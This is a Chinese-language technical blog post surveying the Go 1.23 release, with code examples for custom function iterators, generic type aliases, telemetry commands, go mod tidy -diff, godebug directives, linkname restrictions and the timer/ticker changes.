1.23引入的自定义函数iterator也曾一度将Go抛上风口浪尖，一些人批评Go忘记了简单的原则，正在走向错误的演进方向上。甚至还出现了Go已经过了流行的顶峰的观点：\n这些也同样是Russ Cox留给Austin Clements等新一代决策层的“课题”。\n言归正传！让我们来看看Go 1.23版本都有哪些重要的变化吧！\n注：在两个多月，我曾写了一篇《Go 1.23新特性前瞻》，如果当时的新变化的实现与如今Go 1.23正式版是一致的，在本文中我就不会再详细说明了，大家可以移步那篇文章了解。\n1. 语言变化 Go 1.23中最大的语言变化就是将Go 1.22中引入的试验特性：range-over-func变为了正式特性。我么就先从这个变化说起。\n1.1 自定义函数迭代器 一旦你接受了泛型，迭代器就会不可避免地出现 — https://changelog.com/gotime/325\n迭代器(iterator)是一个用于遍历集合类型的基本语言构造，例如切片、数组、map等。它是一种获取集合中的下一个item的机制，并会检查集合中是否还有其他内容，如果没有了，它会停止继续迭代。这种语言构造并非Go专属的，我们在许多语言中都能找到它，比如：Python、Java等。\nGo 1.18版本加入了泛型支持，有了泛型后，各种使用泛型实现的集合类型便如“雨后春笋”般出现了。但Go的for range原生并不支持对这些集合类型的迭代，于是对自定义函数迭代器类型的需求便自然而然的出现了。\nGo 1.23支持自定义迭代器后，for range的语法规格变为如下形式：\n我们看到：for range继Go 1.22增加对整型表达式的支持后，在Go 1.23中又增加了对三种形式的自定义函数迭代器的支持。下面是Go spec中关于带有单个参数(fibo)和带有两个参数的函数迭代器(Walk)的示例：\n// fibo generates the Fibonacci sequence fibo := func(yield func(x int) bool) { f0, f1 := 0, 1 for yield(f0) { f0, f1 = f1, f0+f1 } } // print the Fibonacci numbers below 1000: for x := range fibo { if x \u0026gt;= 1000 { break } fmt.Printf(\u0026#34;%d \u0026#34;, x) } // output: 0 1 1 2 3 5 8 13 21 34 55 89 144 233 377 610 987 // iteration support for a recursive tree data structure type Tree[K cmp.Ordered, V any] struct { left, right *Tree[K, V] key K value V } func (t *Tree[K, V]) walk(yield func(key K, val V) bool) bool { return t == nil || t.left.walk(yield) \u0026amp;\u0026amp; yield(t.key, t.value) \u0026amp;\u0026amp; t.right.walk(yield) } func (t *Tree[K, V]) Walk(yield func(key K, val V) bool) { t.walk(yield) } // walk tree t in-order var t Tree[string, int] for k, v := range t.Walk { // process k, v } 初看这个示例，for range的形式很简洁，且循环体内部对获得的item的处理也没有受到任何影响。函数迭代器的复杂性更多放在了提供迭代器的集合类型的作者那里了。作为要提供自定义迭代器的集合类型作者，你需要弄清楚迭代器的运作原理，尤其要记住要满足何种函数签名，才能更好地提供迭代器的实现，这的确会带来一些复杂性，并且初期编写时，你可能会反复参考Go Spec文档。至于迭代器的运作原理和典型使用方法，在不久前写的一篇《Go 1.23中的自定义迭代器与iter包》中，我对Go 1.23新增的迭代器做了一个系统的梳理，感兴趣的童鞋可以移步那篇文章阅读，这里就不另花笔墨了。\n1.2 别名中增加泛型参数 但凡涉及type alias的提案或多或少都会有一定的争议，这次也不例外。Matthew Dempsky于2021年提出的issue: spec: generics: permit type parameters on aliases历经多年，几百次的讨论，才最终在Go 1.23中作为实验性特性引入。也许也正是这种缓慢而稳定的方法才是Go标准库和Go社区发展过程中真正令人印象深刻的地方。不过，目前除了这个issue中的内容，尚未有类似experimental wiki之类的资料可循。\n那什么是带有类型参数的type alias呢？我们看看下面这个示例：\n// go1.23-examples/lang/generic_type_alias.go package main import \u0026#34;fmt\u0026#34; type MySlice[T any] = []T func main() { // 使用int类型实例化MySlice intSlice := MySlice[int]{1, 2, 3, 4, 5} fmt.Println(\u0026#34;Int Slice:\u0026#34;, intSlice) // 使用string类型实例化MySlice stringSlice := MySlice[string]{\u0026#34;hello\u0026#34;, \u0026#34;world\u0026#34;} fmt.Println(\u0026#34;String Slice:\u0026#34;, stringSlice) // 使用自定义类型实例化MySlice type Person struct { Name string Age int } personSlice := MySlice[Person]{ {Name: \u0026#34;Alice\u0026#34;, Age: 30}, {Name: \u0026#34;Bob\u0026#34;, Age: 25}, } fmt.Println(\u0026#34;Person Slice:\u0026#34;, personSlice) } 我们需要Go 1.23.0及以上版本可以编译该程序，并且还需要在命令前加上：GOEXPERIMENT=aliastypeparams。\n执行上述程序的结果如下：\n$GOEXPERIMENT=aliastypeparams go build generic_type_alias.go $./generic_type_alias Int Slice: [1 2 3 4 5] String Slice: [hello world] Person Slice: [{Alice 30} {Bob 25}] 怎么理解带有类型参数的类型别名呢？参考Russ Cox在issue的comment给出的理解，我们可以将其看成是一种“类型宏”(类似c中的#define)，以该示例为例：\ntype MySlice[T any] = []T 就是在任何出现MySlice[T]的地方，将其换成[]T。我们再看一个复杂的例子：\n// go1.23-examples/lang/pairs.go package main import \u0026#34;fmt\u0026#34; // 使用多个类型参数的类型别名 type Pair[T, U any] = struct { First T Second U } // 使用Pair类型别名 func MakePair[T, U any](first T, second U) Pair[T, U] { return Pair[T, U]{First: first, Second: second} } // 交换Pair中的元素 func SwapPair[T, U any](p Pair[T, U]) Pair[U, T] { return Pair[U, T]{First: p.Second, Second: p.First} } func main() { // 创建一个int和string的Pair intStringPair := MakePair(42, \u0026#34;Answer\u0026#34;) fmt.Printf(\u0026#34;Int-String Pair: %+v\\n\u0026#34;, intStringPair) // 创建一个float64和bool的Pair floatBoolPair := Pair[float64, bool]{First: 3.14, Second: true} fmt.Printf(\u0026#34;Float-Bool Pair: %+v\\n\u0026#34;, floatBoolPair) // 使用自定义类型 type Person struct { Name string Age int } personStringPair := MakePair(Person{Name: \u0026#34;Alice\u0026#34;, Age: 30}, \u0026#34;Developer\u0026#34;) fmt.Printf(\u0026#34;Person-String Pair: %+v\\n\u0026#34;, personStringPair) // 交换Pair中的元素 swappedPair := SwapPair(intStringPair) fmt.Printf(\u0026#34;Swapped Int-String Pair: %+v\\n\u0026#34;, swappedPair) // 使用类型推断 inferredPair := MakePair(\u0026#34;Hello\u0026#34;, 123) fmt.Printf(\u0026#34;Inferred Pair: %+v\\n\u0026#34;, inferredPair) } 我们可以在任何出现Pair[T, U any]的地方将其换为\nstruct { First T Second U } 编译运行上述代码，可得到如下结果：\n$GOEXPERIMENT=aliastypeparams go run pairs.go Int-String Pair: {First:42 Second:Answer} Float-Bool Pair: {First:3.14 Second:true} Person-String Pair: {First:{Name:Alice Age:30} Second:Developer} Swapped Int-String Pair: {First:Answer Second:42} Inferred Pair: {First:Hello Second:123} Russ Cox还提到，利用该aliastypeparams机制，还可以用于缩短命名，比如：\ntype lexer[T any] = func(string, int) (T, int, bool) 当然Go 1.9引入type alias是为了重构，而aliastypeparams机制也可以很好的帮助重构，比如下面这个定义：\ntype T1[X, Y any] = T2[X, Y, defaultZ] 即如果已经有了T1[X, Y]，然后意识到需要另一个参数，并将其泛型化为T2[X, Y, Z]，这时使用上面的语句可以保持旧代码的正常运行。\n此外，如果类型别名的约束更严格呢，比如下面的类型别名定义：\ntype MySlice[T any] = []T type YourSlice[T comparable] = MySlice[T] 这里YourSlice的类型参数约束要求是comparable，比MySlice的any更严格，我们来看一下这个comparable会有效么？\n// go1.23-examples/lang/strict_alias.go package main import \u0026#34;fmt\u0026#34; type MySlice[T any] = []T type YourSlice[T comparable] = MySlice[T] func main() { // 使用int类型实例化MySlice intSlice := MySlice[int]{1, 2, 3, 4, 5} fmt.Println(\u0026#34;Int Slice:\u0026#34;, intSlice) intsliceSlice := YourSlice[[]int]{ []int{1, 2, 3}, []int{4, 5, 6}, } fmt.Println(\u0026#34;IntSlice Slice:\u0026#34;, intsliceSlice) } 我们知道int切片类型是不满足comparable的，但这个示例代码在目前Go 1.23.0版本是可以正常编译运行的。\n最后，该aliastypeparameter实验特性会将类型别名定义局限在同一个包中，尚不支持跨多个包使用。\n2. 工具链 在工具链方面，Go 1.23的变化都很实用！我们逐一挑重点变化来看一下。\n2.1 Telemetry(遥测) Go Telemetry是一个用于Go工具链程序收集性能和使用数据的系统。它适用于Go团队维护的开发者工具，如go cmd、gopls和govulncheck。\nRuss Cox关于Go telemetry的构思始于2023年2月，他先是在个人博客发表一系列关于Go telemetry的思路和设计方案，然后又在Go项目建立disscusion和社区探讨这个idea。\n在2023年GopherCon大会上，Russ Cox代表Go团队做了名为“Go Changes”的主题演讲，明确了Go的演进将是基于数据驱动的，而数据来源除了来自官方的年度用户调查、用户交谈、对已发布的go module的代码阅读分析之外，Go团队计划在Go工具链中加入Telemetry。telemetry可以帮助Go团队改进Go语言和工具，了解Go工具链使用情况和问题并提供比GitHub问题或年度用户调查更详细、及时的数据。\n随着Go 1.23的发布，telemetry作为go cmd的sub command正式落地。\nGo Telemetry由telemetry模式控制，有三种可能的值：\nlocal(默认): 收集数据并存储在本地计算机上，但不上传； on: 收集数据，并可能根据采样上传； off：不收集也不上传数据。 你可以通过go env GOTELEMETRY查看当前模式。你可以通过go telemetry on|off|local来选择使用哪种模式。\nGo Telemetry使用计数器来收集数据，它主要有两类计数器：\n基本计数器：记录命名事件的次数 栈计数器：记录事件次数和发生时的调用栈 计数器数据写入本地文件系统(存储路径可通过go env GOTELEMETRYDIR查看)的内存映射文件中：\n// 在我的macOS上 $go env GOTELEMETRYDIR /Users/tonybai/Library/Application Support/go/telemetry 大约每周一次，计数器数据会被汇总成报告，存储在本地目录中。如果启用了上传(on)，只有经过批准的计数器子集会被上传到telemetry.go.dev。\n访问telemetry.go.dev网站可以查看由公开上传数据合并的报告和生成的图表。这些报告和图表可以帮助Go团队了解工具的使用情况、性能表现，从而进行有针对性的改进。\n为了Go演进路线的精准，这里也呼吁大家多多支持。当下载Go 1.23版本后，简单地执行“go telemetry on”，你就可以为Go做贡献了：\n$go telemetry on Telemetry uploading is now enabled and data will be periodically sent to https://telemetry.go.dev/. Uploaded data is used to help improve the Go toolchain and related tools, and it will be published as part of a public dataset. For more details, see https://telemetry.go.dev/privacy. This data is collected in accordance with the Google Privacy Policy (https://policies.google.com/privacy). To disable telemetry uploading, but keep local data collection, run “go telemetry local”. To disable both collection and uploading, run “go telemetry off”. 2.2 实用的go命令变化 go env -changed go env子命令增加一个-changed命令行选项，可以用于查看当前Go环境中设置的Go环境变量值与默认值有差异的项的值，包括使用go env -w写入的，或是通过系统环境变量设置的。\n在我的环境中，我可以看到下面的几个go环境变量的值的自定义设定：\n$go env -changed GONOPROXY=\u0026#39;xxxxx\u0026#39; GONOSUMDB=\u0026#39;xxxxx\u0026#39; GOPRIVATE=\u0026#39;xxxxx\u0026#39; GOPROXY=\u0026#39;https://goproxy.cn\u0026#39; GOSUMDB=\u0026#39;off\u0026#39; go mod tidy -diff go mod tidy增加了一个“dry-run”方式，通过-diff命令行选项，可以使得go mod tidy只打印（以unified diff的格式）更新信息，但不做实际的更新（即修改go.mod和go.sum），比如在我的以前的一个代码目录下执行该命令：\n$go mod tidy -diff go: downloading google.golang.org/protobuf v1.25.0 go: downloading github.com/golang/protobuf v1.4.3 go: downloading google.golang.org/genproto v0.0.0-20200806141610-86f49bd18e98 go: downloading golang.org/x/net v0.0.0-20201021035429-f5854403a974 go: downloading golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f go: downloading github.com/google/go-cmp v0.5.6 go: downloading golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1 go: downloading golang.org/x/text v0.3.3 go: downloading github.com/golang/protobuf v1.5.2 go: downloading google.golang.org/protobuf v1.27.1 go: downloading golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4 diff current/go.mod tidy/go.mod --- current/go.mod +++ tidy/go.mod @@ -8,12 +8,12 @@ ) require ( - github.com/golang/protobuf v1.4.3 // indirect + github.com/golang/protobuf v1.5.2 // indirect golang.org/x/net v0.0.0-20201021035429-f5854403a974 // indirect - golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f // indirect + golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4 // indirect golang.org/x/text v0.3.3 // indirect google.golang.org/genproto v0.0.0-20200806141610-86f49bd18e98 // indirect - google.golang.org/protobuf v1.25.0 // indirect + google.golang.org/protobuf v1.27.1 // indirect ) replace google.golang.org/grpc v1.40.0 =\u0026gt; /Users/tonybai/Go/src/github.com/grpc/grpc-go diff current/go.sum tidy/go.sum --- current/go.sum +++ tidy/go.sum @@ -7,13 +7,16 @@ github.com/client9/misspell v0.3.4/go.mod h1:qj6jICC3Q7zFZvVWo7KLAzC3yx5G7kyvSDkc90ppPyw= github.com/cncf/udpa/go v0.0.0-20191209042840-269d4d468f6f/go.mod h1:M8M6+tZqaGXZJjfX53e64911xZQV5JYwmTeXPW+k8Sc= github.com/cncf/udpa/go v0.0.0-20201120205902-5459f2c99403/go.mod h1:WmhPx2Nbnhtbo57+VJT5O0JRkEi1Wbu0z5j0R8u5Hbk= -github.com/cncf/xds/go v0.0.0-20210312221358-fbca930ec8ed/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/udpa/go v0.0.0-20210930031921-04548b0d99d4/go.mod h1:6pvJx4me5XPnfI9Z40ddWsdw2W/uZgQLFXToKeRcDiI= +github.com/cncf/xds/go v0.0.0-20210922020428-25de7278fc84/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20211001041855-01bcc9b48dfe/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= +github.com/cncf/xds/go v0.0.0-20211011173535-cb28da3451f1/go.mod h1:eXthEFrGJvWHgFFCl3hGmgk+/aYT6PnTQLykKQRLhEs= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/envoyproxy/go-control-plane v0.9.0/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.1-0.20191026205805-5f8ba28d4473/go.mod h1:YTl/9mNaCwkRvm6d1a2C3ymFceY/DCBVvsKhRF0iEA4= github.com/envoyproxy/go-control-plane v0.9.4/go.mod h1:6rpuAdCZL397s3pYoYcLgu1mIlRU8Am5FuJP05cCM98= github.com/envoyproxy/go-control-plane v0.9.9-0.20201210154907-fd9021fe5dad/go.mod h1:cXg6YxExXjJnVBQHBLXeUAgxn2UodCpnH306RInaBQk= -github.com/envoyproxy/go-control-plane v0.9.9-0.20210512163311-63b5d3c536b0/go.mod h1:hliV/p42l8fGbc6Y9bQ70uLwIvmJyVE5k4iMKlh8wCQ= +github.com/envoyproxy/go-control-plane v0.10.2-0.20220325020618-49ff273808a1/go.mod h1:KJwIaB5Mv44NWtYuAOFCVOjcI94vtpEz2JU/D2v6IjE= github.com/envoyproxy/protoc-gen-validate v0.1.0/go.mod h1:iSmxcyjqTsJpI2R4NaDN7+kN2VEUnK/pcBlmesArF7c= github.com/ghodss/yaml v1.0.0/go.mod h1:4dBDuWmgqj2HViK6kFavaiC9ZROes6MMH2rRYeMEF04= github.com/golang/glog v0.0.0-20160126235308-23def4e6c14b/go.mod h1:SBH7ygxi8pfUlaOkMMuAQtPIUF8ecWP5IEl/CR7VP2Q= @@ -28,14 +31,18 @@ github.com/golang/protobuf v1.4.0/go.mod h1:jodUvKwWbYaEsadDk5Fwe5c77LiNKVO9IDvqG2KuDX0= github.com/golang/protobuf v1.4.1/go.mod h1:U8fpvMrcmy5pZrNK1lt4xCsGvpyWQ/VVv6QDs8UjoX8= github.com/golang/protobuf v1.4.2/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= -github.com/golang/protobuf v1.4.3 h1:JjCZWpVbqXDqFVmTfYWEVTMIYrL/NPdPSCHPJ0T/raM= github.com/golang/protobuf v1.4.3/go.mod h1:oDoupMAO8OvCJWAcko0GGGIgR6R6ocIYbsSw735rRwI= +github.com/golang/protobuf v1.5.0/go.mod h1:FsONVRAS9T7sI+LIUmWTfcYkHO4aIWwzhcaSAoJOfIk= +github.com/golang/protobuf v1.5.2 h1:ROPKBNFfQgOUMifHyP+KYbvpjbdoFNs+aK7DXlji0Tw= +github.com/golang/protobuf v1.5.2/go.mod h1:XVQd3VNwM+JqD3oG2Ue2ip4fOMUkwXdXDdiuN0vRsmY= github.com/google/go-cmp v0.2.0/go.mod h1:oXzfMopK8JAjlY9xF4vHSVASa0yLyX7SntLO5aqRK0M= github.com/google/go-cmp v0.3.0/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.3.1/go.mod h1:8QqcDgzrUqlUb/G2PQTWiueGozuR1884gddMywk6iLU= github.com/google/go-cmp v0.4.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= -github.com/google/go-cmp v0.5.0 h1:/QaMHBdZ26BB3SSst0Iwl10Epc+xhTquomWX0oZEB6w= github.com/google/go-cmp v0.5.0/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.5/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= +github.com/google/go-cmp v0.5.6 h1:BKbKCqvP6I+rmFHt06ZmyQtvB8xAkWdhFyr0ZUNZcxQ= +github.com/google/go-cmp v0.5.6/go.mod h1:v8dTdLbMG2kIc/vJvl+f65V22dbkXbowE6jgT/gNBxE= github.com/google/uuid v1.1.2/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo= github.com/grpc-ecosystem/grpc-gateway v1.16.0/go.mod h1:BDjrQk3hbvj6Nolgz8mAMFbcEtjT1g+wF4CSlocrBnw= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= @@ -43,6 +50,7 @@ github.com/rogpeppe/fastuuid v1.2.0/go.mod h1:jVj6XXZzXRy/MSR5jhDC/2q6DgLz+nrA6LYCDYWNEvQ= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= github.com/stretchr/testify v1.5.1/go.mod h1:5W2xD1RspED5o8YsWQXVCued0rvSQ+mT+I5cxcmMvtA= +github.com/stretchr/testify v1.7.0/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= go.opentelemetry.io/proto/otlp v0.7.0/go.mod h1:PqfVotwruBrMGOCsRd/89rSnXhoiJIqeYNgFYFoEGnI= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20200622213623-75b288015ac9/go.mod h1:LzIPMQfyMNhhGPhUkYOs5KpL4U8rLKemX1yGLhDgUto= @@ -69,8 +77,9 @@ golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/sys v0.0.0-20200323222414-85ca7c5b95cd/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= -golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f h1:+Nyd8tzPX9R7BWHguqsrbFdRx3WQ/1ib8I44HXV5yTA= golang.org/x/sys v0.0.0-20200930185726-fdedc70b468f/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4 h1:myAQVi0cGEoqQVR5POX+8RR2mrocKqNN1hmeMqhX27k= +golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= golang.org/x/text v0.3.3 h1:cokOdA+Jmi5PJGXLlLllQSgYigAEfHXJAERHVMaCc2k= golang.org/x/text v0.3.3/go.mod h1:5Zoc/QRtKVWzQhOtBMvqHzDpF6irO9z98xDceosuGiQ= @@ -105,10 +114,14 @@ google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4= -google.golang.org/protobuf v1.25.0 h1:Ejskq+SyPohKW+1uil0JJMtmHCgJPJ/qWTxr8qp+R4c= google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= +google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw= +google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= +google.golang.org/protobuf v1.27.1 h1:SnqbnDw1V7RiZcXPx5MEeqPv2s79L9i7BJUlG/+RurQ= +google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= +gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= $echo $? 1 我们看到，如果有更新的包，该命令还会返回一个非0值(echo $?)以作为提示。\ngo.mod中增加godebug指示符(directive) 从Go 1.23版本开始，你可以在go.mod/go.work文件中使用godebug指示符，其语法格式如下(包括单行和块状)：\ngodebug default=go1.21 godebug ( panicnil=1 asynctimerchan=0 ) default: 是一个特殊的键，用于指定未明确设置的GODEBUG值应该采用哪个Go版本的默认值，例如: default=go1.21。除default键之外的其他键值对则用于明确设置特定的GODEBUG选项。\nGo支持多种方式设置GODEBUG，包括在使用go命令时伴随使用GODEBUG环境变量、使用go.mod中的godebug以及在源文件中使用//go:debug指示符。它们之间的优先级关系是：go.mod中的设置优先于Go工具链的默认值，但可以被源文件中的//go:debug指令覆盖。\n更多关于godebug机制的内容，大家可以查看godebug的官方参考文档。\n3. 编译器与运行时 开启PGO情况下，编译速度的提升 Go从1.20版本引入PGO优化技术，到目前PGO已经得到了进一步的优化，但PGO的引入也带来了编译时间的显著开销，对于一些大型项目，在开启PGO的情况下，编译时间甚至增加了100%。Go 1.23版本针对PGO的构建成本做了大幅优化，使得PGO带来的编译开销仅仅相对于非PGO增加个位数级百分比的变化。\n限制对linkname的使用 在Go语言中，//go:linkname指令可以用来链接到标准库或其他包中的未导出符号。比如我们想访问runtime包中的一个未导出函数，例如runtime.nanotime。这个函数返回当前时间的纳秒数。我们可以通过//go:linkname指令链接到这个符号。下面我用一个示例来演示一下这点：\n// go1.23-examples/compiler/golinkname/main.go package main import ( \u0026#34;fmt\u0026#34; _ \u0026#34;unsafe\u0026#34; // 必须导入 unsafe 包以使用 //go:linkname ) // 声明符号链接 // //go:linkname nanotime runtime.nanotime func nanotime() int64 func main() { // 调用未导出的 runtime.nanotime 函数 fmt.Println(\u0026#34;Current time in nanoseconds:\u0026#34;, nanotime()) } 运行该示例：\n$go run main.go Current time in nanoseconds: 397501409223055 这种做法一般不推荐，因为它可能导致程序不稳定，并且未来版本的Go可能会改变内部实现（比如nanotime被改名或被删除），破坏你的代码。\nGo团队意识到了这种不规范的行为，在Go 1.23中，Go团队明确了//go:linkname的使用规范。\nGo 1.23链接器现在禁止使用//go:linkname指令来引用标准库中未标记有//go:linkname的内部符号，并且链接器也禁止从汇编代码中引用这些符号。\n不过，为了向后兼容，在一些大型开源代码库中发现的存量//go:linkname用法仍然受支持，为此，Go在标准库和runtime库中为支持linkname的函数增加了//go:linkname标记，以上面示例中的runtime.nanotime为例，在Go 1.23中其源码注释如下：\n// runtime/time_nofake.go // Exported via linkname for use by time and internal/poll. // // Many external packages also linkname nanotime for a fast monotonic time. // Such code should be updated to use: // // var start = time.Now() // at init time // // and then replace nanotime() with time.Since(start), which is equally fast. // // However, all the code linknaming nanotime is never going to go away. // Do not remove or change the type signature. // See go.dev/issue/67401. // //go:linkname nanotime //go:nosplit func nanotime() int64 { return nanotime1() } 对于没有标记//go:linkname的标准库内部符号，要在外部通过go:linkname引用默认都将被禁止。不过，考虑到调试和实验目的，你也可以通过使用-checklinkname=0这个链接器命令行选项来禁用这个检查：\n$go env -w GOFLAGS=-ldflags=-checklinkname=0 // 全局生效 4. 标准库 标准库的变化永远是大头儿，这里仅列出重要的变化。\n4.1 Timer/Ticker变化 timer/ticker的stop/reset问题一直困扰Go团队，Go 1.23的两个重要fix期望能从根本上解决这个问题：\nTimer/Ticker的GC不再需要Stop(issue 61542) 程序不再引用的Timer和Ticker将立即有资格进行垃圾回收，即使它们的Stop方法尚未被调用。Go的早期版本直到触发后才会收集未停止的Timer，并\n且从未收集未停止的Ticker。\nTimer/Ticker的Stop/Reset后不再接收旧值(issue 37196) 与Timer或Ticker关联的计时器channel现在改为无缓冲的了，即容量为0 。此更改的主要效果是Go现在保证任何对Reset或Stop方法的调用，调用之前不会发送或接收任何陈旧值。 Go的早期版本使用带有缓冲区的channel，因此很难正确使用Reset和Stop。此更改的一个明显效果是计时器channel的len和cap现在返回0而不是1，这可能会影响轮询长度以确定是否在计时器channel上接收的程序。通过GODEBUG设置asynctimerchan=1可恢复异步通道行为。\n4.2 structs包 Go语言的结构体布局实际上受到平台布局和对齐规则的严格限制，这种限制可能导致在某些平台上出现权衡或潜在问题，同时阻碍了可以节省内存和提高垃圾回收性能的字段重排优化。\n为了解决某些平台(如WASM和ppc64le)的特殊对齐需求，提高跨平台兼容性，并为未来的结构体优化留下空间，David Chase提案增加HostLayout指示符类型。\n具体来说就是引入一个新的包，包含一个零size的类型HostLayout：\n// $GOROOT/src/structs/hostlayout.go type HostLayout struct { _ hostLayout // prevent accidental conversion with plain struct{} } 该类型可用作结构体字段来控制编译器对结构体类型的布局方式。被标记为HostLayout的结构体字段将按照主机的C ABI期望的方式进行内存布局。HostLayout不会影响包含它的结构体内部其他结构体类型字段的布局，也不会影响包含它的结构体所在的更上层结构体的布局。按照惯例，HostLayout应该作为一个名为”_”的字段类型，放在结构体定义的开始位置，比如：\ntype T struct { _ structs.HostLayout x, y int } 注：关于结构体对齐，可以参考《Go语言第一课》专栏的第17讲：复合数据类型：用结构体建立对真实世界的抽象。\n4.3 新增unique包、iter包、函数迭代器相关函数 Go标准库还新增了unique包，并在maps、slices中增加了函数迭代器的实用函数，具体内容大家可以参考我之前的文章《Go 1.23新特性前瞻》。\n至于关于新增的iter包的用法，可以参考《Go 1.23中的自定义迭代器与iter包》一文，这里就不赘述了！\n5. 小结 Go 1.23版本在Russ Cox的带领下取得了丰硕的成果，为开发者带来了众多令人瞩目的语言特性、工具链优化以及编译器和运行时改进。\n然而，随着Russ Cox的卸任，从Go 1.24版本开始，我们将迎来新一代Go决策层的领导。他们将如何引领Go语言的未来发展？是否会带来新的方向和变化？让我们拭目以待，共同见证Go语言的持续进化。\n不过这里还要提醒各位Go开发者，在升级Go 1.23版本时务必注意潜在的向后兼容性问题，尤其是//go:linkname、time.Timer/Ticker的变化可能带来的影响。\n本文涉及的源码可以在这里下载。\n6. 参考资料 What’s new in Go 1.23 – https://changelog.com/gotime/325 Go 1.23 Release Notes – https://go.dev/doc/go1.23 Go 1.23 is released – https://go.dev/blog/go1.23 Go spec – https://go.dev/ref/spec Gopher部落知识星球在2024年将继续致力于打造一个高品质的Go语言学习和交流平台。我们将继续提供优质的Go技术文章首发和阅读体验。同时，我们也会加强代码质量和最佳实践的分享，包括如何编写简洁、可读、可测试的Go代码。此外，我们还会加强星友之间的交流和互动。欢迎大家踊跃提问，分享心得，讨论技术。我会在第一时间进行解答和交流。我衷心希望Gopher部落可以成为大家学习、进步、交流的港湾。让我相聚在Gopher部落，享受coding的快乐! 欢迎大家踊跃加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻) – https://gopherdaily.tonybai.com\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite Gopher Daily归档 – https://github.com/bigwhite/gopherdaily Gopher Daily Feed订阅 – https://gopherdaily.tonybai.com/feed 